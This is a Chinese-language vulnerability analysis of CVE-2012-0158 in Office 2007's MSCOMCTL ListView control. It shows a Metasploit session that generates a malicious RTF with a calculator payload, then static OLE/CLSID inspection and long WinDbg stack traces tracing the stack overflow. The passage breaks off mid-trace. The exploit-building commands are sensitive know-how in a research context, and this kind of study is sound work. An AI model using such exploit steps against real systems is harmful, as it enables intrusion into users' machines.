http://contagiodump.blogspot.com.es/2012/04/cve2012-0158-south-china-sea-insider.html
msf exploit(ms12_027_mscomctl_bof) > set payload windows/exec
payload => windows/exec
msf exploit(ms12_027_mscomctl_bof) > show options
Module options (exploit/windows/fileformat/ms12_027_mscomctl_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.doc yes The file name.
Payload options (windows/exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
Exploit target:
Id Name
-- ----
0 Microsoft Office 2007 [no-SP/SP1/SP2/SP3] English on Windows [XP SP3 / 7 SP1] English
msf exploit(ms12_027_mscomctl_bof) > set CMD calc
CMD => calc
msf exploit(ms12_027_mscomctl_bof) > set target 0
target => 0
msf exploit(ms12_027_mscomctl_bof) > exploit
[*] Creating 'msf.doc' file ...
[+] msf.doc stored at /root/.msf4/local/msf.doc
将生成的文件重命名为 cve-2012-0158-msf-2007.rtf ，拖入装有office
2007的虚拟机，双击打开，可以正常弹出计算器，下面开始调试该漏洞。
## 静态分析
图1为生成的样本rtf文件在Notepad++中打开的视图(稍作整理)，\objocx关键字代表嵌入了一个ActiveX控件对象，\objdata后面的数据代表了控件数据，控件以ole格式存储在rtf文档中，此部分数据将会被读入winword.exe进程内存并被解析。
图1
我们用rtfobj.py工具来提取里面嵌入的ole对象，提取结果如图2所示：
图2
将提取的OLE对象用OleFileView打开，可以看到包含三个Stream：Contents,
ObjInfo和OCXNAME，每个流的内容分别如图3，图4，图5所示。
图3 (Contents流内存储着比较多的数据，猜测该Stream应该代表着控件数据)
图4 (ObjInfo流内只存储着寥寥几个字节)
图5 (OCXNAME流内存储的是控件名称)
再将提取出的cve-2012-0158-msf-2007.rtf__object_000000A0.bin对象拖入010编辑器，用OLESS模板打开，定位到如下CLSID：bdd1f04b-858b-11d1-b16a-00c0f0283628，如图6所示：
图6
我们再来看一下这个CLSID对应的模块是什么(图7)，可以看到ListView控件对应的模块是MSCMOCTL.OCX，一般看到这里你就知道分析时需要在对哪个模块下加载断点了，当然，在面对一个全新样本时，直到这里我们还无法确定漏洞是如何造成的，但可以推测漏洞与MSCMOCTL.OCX模块有关。维一零在他个人博客中写0158篇的最后写道：“本文最大的漏洞在于，我分析过程的前提是我知道了漏洞的模块是ActiveX控件的解析库MSCOMCTL.DLL，假如我不知道这条信息，我又该怎么来分析这个漏洞呢？”。这个问题的答案是：找ole里面的CLSID，然后查询关联模块。这样在面对一个新的漏洞样本的时候，就有切入点了。
图7
## 动态分析
由前面的分析已知这个样本会弹出计算器，我们用windbg attach
word进程，设置如下两个断点(图8)，断下后，看到栈回溯如图9所示，可以看到栈被破坏得很严重。初步判断这应该是一个栈溢出漏洞
图8
图9
然而我们并不能准确定位到是哪个模块出的问题，向前向后回溯栈和看寄存器(图10)也无法得到进一步的有效信息：
图10
这时我们可以装个EMET，在打开样本后，借助EMET的记录，通过在事件管理器里面定位DEP、EAF、ROP等相关记录的地址来进一步定位漏洞的触发点(如
jmp
esp)。这里我决定采取另一种方式，既然这个样本要加载一个OLE对象，对OpenStream函数的调用肯定是跑不掉的，于是我在windbg里面搜寻OpenStream相关函数，结果如图11所示：
图11
ole32!CexposedDocFile::OpenStream函数成功引起了我的注意，我们来看一下微软对于OpenStream函数的定义，如图12所示；我们感兴趣的是它的第一个参数，微软对其的解释如图13所示，很明显，这个参数是一个UNICODE字符串，代表了Stream的名称。当然，考虑到this指针的传递，所以这个函数在ole32内的实际实现如图14所示，代表stream名称的是第2个参数。
图12
图13
图14
现在，我们在调试器里面设置如下断点(图15)：
图15
可以看到在打开“Contents”流后，计算器就弹出来了。而前面静态分析中看到的其他两个流并没有输出，到这里可以初步断定栈溢出位于Contents流。初步推测是MSCOMCTL.OCX模块在解析内嵌控件的contents流时出了问题。
对MSCOMCTL.OCX模块下模块加载断点：sxe
ld:mscomctl，以避免打开文档中其他无关流对象时在OpenStream断下。重启windbg，在命中模块加载断点时，我们来查看一下本次调试的模块信息(图16)：
图16
接下来我们在ole32!CexposedDocFile::OpenStream函数打开“Contents”流时停下，一边在windbg里面动态调试，一边在IDA里面对每个跳转点的相关代码块进行着色，不断F10，单步步过函数，直到弹出计算器。然后重启windbg，在上次的最后下断点，F11单步进入函数，重复前面的过程。通过这种方式，几个小时后，我得到了当前漏洞触发的整个执行流(当然，一开始的记录是比较粗糙的，下图为我陆续补充对应符号和细化后的结果)，如图17所示。蓝色代表栈回溯；橙色代表每次调用CExposedStream::Read的位置，CExposedStream::Read函数后面会提到；紫色为最终的栈溢出点。
这里提一下符号的问题，维一零在他个人博客中分析0158的文章最后是给了附件的，里面有一个带符号表的MSCOMCTL模块。有兴趣的小伙伴可以去下载一下他的附件。
图17
实际调试时发现winword每次从流中读取文件都会调用CExposedStream::Read函数，我们来看一下这个函数的声明(图18)：
图18
其中第二个参数是带读入数据的缓冲区指针，第三个参数为需要读入的数据大小，最后一个参数为一个指向int型数据的指针，返回实际读的字节数。
重启windbg，在加载MSCOMCTL.OCX模块后，对CExposedStream::Read函数下如下断点并进行相应输出，结果如下(省略了一些符号的加载日志)：
0:000> bp ole32!CExposedStream::Read ".echo --------------------------------------------------------------------------------------------------------------; r $t0=poi(esp+8); r $t1=poi(esp+c); k; gu; db $t0 l$t1; .printf \"ReadLength = 0x%x\\n\", $t1; g;"
0:000> g
--------------------------------------------------------------------------------------------------------------
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\MSCOMCTL.OCX -
ChildEBP RetAddr
0030a9e4 2758af07 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030aa14 2758aeda MSCOMCTL!DllGetClassObject+0x41c3
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x4196
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
003164f4 65875347 wwlib!DllCanUnloadNow+0x54a145
0031a918 65878372 wwlib!DllCanUnloadNow+0x547005
0030aa0c 21 43 34 12 08 00 00 00 !C4.....
ReadLength = 0x8
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a9e4 2758af30 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030aa14 2758aeda MSCOMCTL!DllGetClassObject+0x41ec
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x4196
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
003164f4 65875347 wwlib!DllCanUnloadNow+0x54a145
0031a918 65878372 wwlib!DllCanUnloadNow+0x547005
0030aa04 6a b0 82 2c bb 05 00 00 j..,....
ReadLength = 0x8
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a988 275b673b ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x2f9f7
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
003164f4 65875347 wwlib!DllCanUnloadNow+0x54a145
0031a918 65878372 wwlib!DllCanUnloadNow+0x547005
0030a9f0 4e 08 7d eb 01 00 06 00-1c 00 00 00 00 00 00 00 N.}.............
0030aa00 00 00 00 00 00 06 00 01-56 0a 00 00 ........V...
ReadLength = 0x1c
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a988 275b679c ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x2fa58
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
003164f4 65875347 wwlib!DllCanUnloadNow+0x54a145
0031a918 65878372 wwlib!DllCanUnloadNow+0x547005
0030a9ac 01 ef cd ab 00 00 05 00-98 5d 65 01 07 00 00 00 .........]e.....
0030a9bc 08 00 00 80 05 00 00 80-00 00 00 00 ............
ReadLength = 0x1c
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a96c 275b6875 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a994 275b67c6 MSCOMCTL!DllGetClassObject+0x2fb31
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x2fa82
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
003164f4 65875347 wwlib!DllCanUnloadNow+0x54a145
0030a99c 00 00 00 00 ....
ReadLength = 0x4
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a96c 275b6875 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a994 275b67d9 MSCOMCTL!DllGetClassObject+0x2fb31
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x2fa95
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
003164f4 65875347 wwlib!DllCanUnloadNow+0x54a145
0030a99c 00 00 00 00 ....
ReadLength = 0x4
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a96c 275b6875 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a994 275b67ec MSCOMCTL!DllGetClassObject+0x2fb31
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x2faa8
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
003164f4 65875347 wwlib!DllCanUnloadNow+0x54a145
0030a99c 00 00 00 00 ....
ReadLength = 0x4
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a95c 2758b02f ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a994 275b67fb MSCOMCTL!DllGetClassObject+0x42eb
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x2fab7
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
003164f4 65875347 wwlib!DllCanUnloadNow+0x54a145
0030a980 1f de ec bd 01 00 05 00-90 17 19 00 ............
ReadLength = 0xc
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a96c 275b68e5 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a990 275b6813 MSCOMCTL!DllGetClassObject+0x2fba1
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x2facf
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
003164f4 65875347 wwlib!DllCanUnloadNow+0x54a145
0030a98c 00 00 ..
ReadLength = 0x2
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a944 275c8786 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a96c 275e72d8 MSCOMCTL!DllGetClassObject+0x41a42
0030a990 275ca8b6 MSCOMCTL!DLLGetDocumentation+0xfc6
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x43b72
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
0030a968 08 00 00 00 ....
ReadLength = 0x4
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a944 275c87b8 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a96c 275e72d8 MSCOMCTL!DllGetClassObject+0x41a74
0030a990 275ca8b6 MSCOMCTL!DLLGetDocumentation+0xfc6
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x43b72
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
05e0efb8 49 74 6d 73 64 00 00 00 Itmsd...
ReadLength = 0x8
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a944 275c87ed ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a96c 275e72d8 MSCOMCTL!DllGetClassObject+0x41aa9
0030a990 275ca8b6 MSCOMCTL!DLLGetDocumentation+0xfc6
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x43b72
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
ReadLength = 0x0
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a944 275c8786 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a96c 275e7306 MSCOMCTL!DllGetClassObject+0x41a42
0030a990 275ca8b6 MSCOMCTL!DLLGetDocumentation+0xff4
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x43b72
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
0030a968 02 00 00 00 ....
ReadLength = 0x4
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a944 275c87b8 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a96c 275e7306 MSCOMCTL!DllGetClassObject+0x41a74
0030a990 275ca8b6 MSCOMCTL!DLLGetDocumentation+0xff4
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x43b72
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
05e0efb8 01 00 ..
ReadLength = 0x2
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a944 275c87ed ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a96c 275e7306 MSCOMCTL!DllGetClassObject+0x41aa9
0030a990 275ca8b6 MSCOMCTL!DLLGetDocumentation+0xff4
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x43b72
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
0030dc20 6587c40b wwlib!DllCanUnloadNow+0x339ef0
0030ff60 6588699d wwlib!DllCanUnloadNow+0x54e0c9
00310274 6566a206 wwlib!DllCanUnloadNow+0x55865b
003104c4 653eb9c6 wwlib!DllCanUnloadNow+0x33bec4
00310708 6534f93a wwlib!DllCanUnloadNow+0xbd684
00311dd4 64ab25f6 wwlib!DllCanUnloadNow+0x215f8
00312278 64adfe5d wwlib!DllGetClassObject+0x2d9ac
00313334 64adf54e wwlib!DllGetClassObject+0x5b213
00313378 65878487 wwlib!DllGetClassObject+0x5a904
27632368 00 00 ..
ReadLength = 0x2
--------------------------------------------------------------------------------------------------------------
ChildEBP RetAddr
0030a8ec 275c8786 ole32!CExposedStream::Read [d:\w7rtm\com\ole32\stg\exp\expst.cxx @ 165]
WARNING: Stack unwind information not available. Following frames may be wrong.
0030a914 275c89df MSCOMCTL!DllGetClassObject+0x41a42
0030a948 275e701a MSCOMCTL!DllGetClassObject+0x41c9b
0030a970 275e7361 MSCOMCTL!DLLGetDocumentation+0xd08
0030a990 275ca8b6 MSCOMCTL!DLLGetDocumentation+0x104f
0030aa10 2758aee8 MSCOMCTL!DllGetClassObject+0x43b72
0030aa40 27600908 MSCOMCTL!DllGetClassObject+0x41a4
0030aa54 65642904 MSCOMCTL!DllUnregisterServer+0xc31
0030ab08 64fb2877 wwlib!DllCanUnloadNow+0x3145c2
0030abbc 64f7a003 wwlib!wdCommandDispatch+0x151602
0030ac44 64f238da wwlib!wdCommandDispatch+0x118d8e
0030b0d4 653e91cc wwlib!wdCommandDispatch+0xc2665
0030b168 65668232 wwlib!DllCanUnloadNow+0xbae8a
